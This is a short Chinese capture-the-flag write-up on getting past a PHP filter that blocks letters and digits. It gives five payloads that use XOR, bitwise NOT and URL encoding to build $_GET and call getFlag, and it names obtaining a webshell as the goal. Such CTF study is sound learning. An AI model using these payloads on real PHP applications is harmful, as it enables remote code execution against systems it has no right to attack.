题目
1 |
|
这一串代码描述是这样子,我们要绕过A-Za-z0-9这些常规数字、字母字符串的传参,将非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符,并且字符串长度小于40。然后再利用 PHP允许动态函数执行的特点,拼接处一个函数名,这里我们是 “getFlag”,然后动态执行之即可。
那么,我们需要考虑的问题是如何通过各种变换,使得我们能够去成功读取到getFlag函数,然后拿到webshell。
payload one
1 | ?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag |
构造一个变量_ 变量的值为_GET
执行$_GET[_]($_GET[__])
payload two
1 | ?code=$_=~%98%9A%8B%B9%93%9E%98;$_(); |
把getFlag取反然后URL编码
payload three
1 | ?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag |
~
在 {}
中执行了取反操作,所以 ${~"\xa0\xb8\xba\xab"}
取反相当于 $_GET
,拼接出了 $_GET['+']();
,传入 +=getFlag()
从而执行了函数
payload four
1 | ?code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊(); |
$啊=getFlag;$啊();
,这里就不需要用 {}
了,因为取反的值直接被当作字符串赋值给了 $啊
。
当strlen($code)>50
时,还可以用
1 | ?code=${"!"^"~"}="]%];,<<"^":@)}@][";${"!"^"~"}(); |
参考文章: